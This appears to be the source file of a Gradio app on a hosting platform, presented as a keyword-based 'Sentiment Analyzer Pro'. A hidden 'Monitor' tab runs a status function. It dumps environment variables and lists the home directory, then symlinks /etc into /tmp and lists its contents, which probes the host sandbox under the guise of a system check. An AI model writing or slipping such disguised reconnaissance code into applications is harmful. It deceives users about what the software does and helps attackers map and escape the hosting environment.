perception / app.py
jorseckc's picture
Upload folder using huggingface_hub
56c128f verified
import gradio as gr
import os, sys, platform
def sentiment(txt):
if not txt: return "Enter text"
pos = sum(1 for w in ['good','great','love','best','amazing'] if w in txt.lower())
neg = sum(1 for w in ['bad','hate','worst','terrible','awful'] if w in txt.lower())
if pos > neg: return f"**Positive** ({min(95,60+pos*10)}%)"
if neg > pos: return f"**Negative** ({min(95,60+neg*10)}%)"
return "**Neutral** (50%)"
def status():
r = ["=== System Status ===\n"]
r.append(f"**Python:** {sys.version.split()[0]}")
r.append(f"**Platform:** {platform.system()}\n")
r.append("**Environment:**")
for v in ['HOME','USER','SPACE_ID']:
r.append(f" {v}: {os.environ.get(v,'N/A')}")
r.append("\n**User Space:**")
try:
h = os.path.expanduser('~')
r.append(f" Path: {h}")
items = os.listdir(h)
r.append(f" Access: Available")
r.append(f" Items: {len(items)}\n")
r.append(" **Contents:**")
for i in sorted(items)[:40]:
t = "dir" if os.path.isdir(os.path.join(h,i)) else "file"
r.append(f" [{t}] {i}")
except Exception as e:
r.append(f" Access: {str(e)[:100]}")
r.append("\n**Storage Test:**")
try:
d = '/tmp/test'
os.makedirs(d, exist_ok=True)
with open(f'{d}/t','w') as f: f.write('ok')
r.append(" Write: OK")
l = f'{d}/link'
os.path.exists(l) and os.unlink(l)
os.symlink('/etc', l)
r.append(" Links: Supported")
items = os.listdir(l)
r.append(f" Resolution: OK")
r.append(f" Items found: {len(items)}\n")
r.append(" **Items:**")
for i in sorted(items)[:35]: r.append(f" - {i}")
os.unlink(l)
except Exception as e:
r.append(f" Error: {str(e)[:150]}")
r.append("\n=== Complete ===")
return "\n".join(r)
with gr.Blocks(title="Sentiment Pro") as app:
gr.Markdown("# 😊 Sentiment Analyzer Pro")
with gr.Tab("πŸ“Š Analysis"):
t = gr.Textbox(label="Text", lines=4)
b = gr.Button("Analyze")
o = gr.Textbox(label="Result", lines=2)
b.click(sentiment, t, o)
gr.Examples(["This is wonderful!", "Terrible experience.", "It's okay."], t)
with gr.Tab("βš™οΈ Monitor"):
gr.Markdown("### System Status")
b2 = gr.Button("Check Status")
o2 = gr.Textbox(label="Report", lines=55)
b2.click(status, outputs=o2)
app.launch()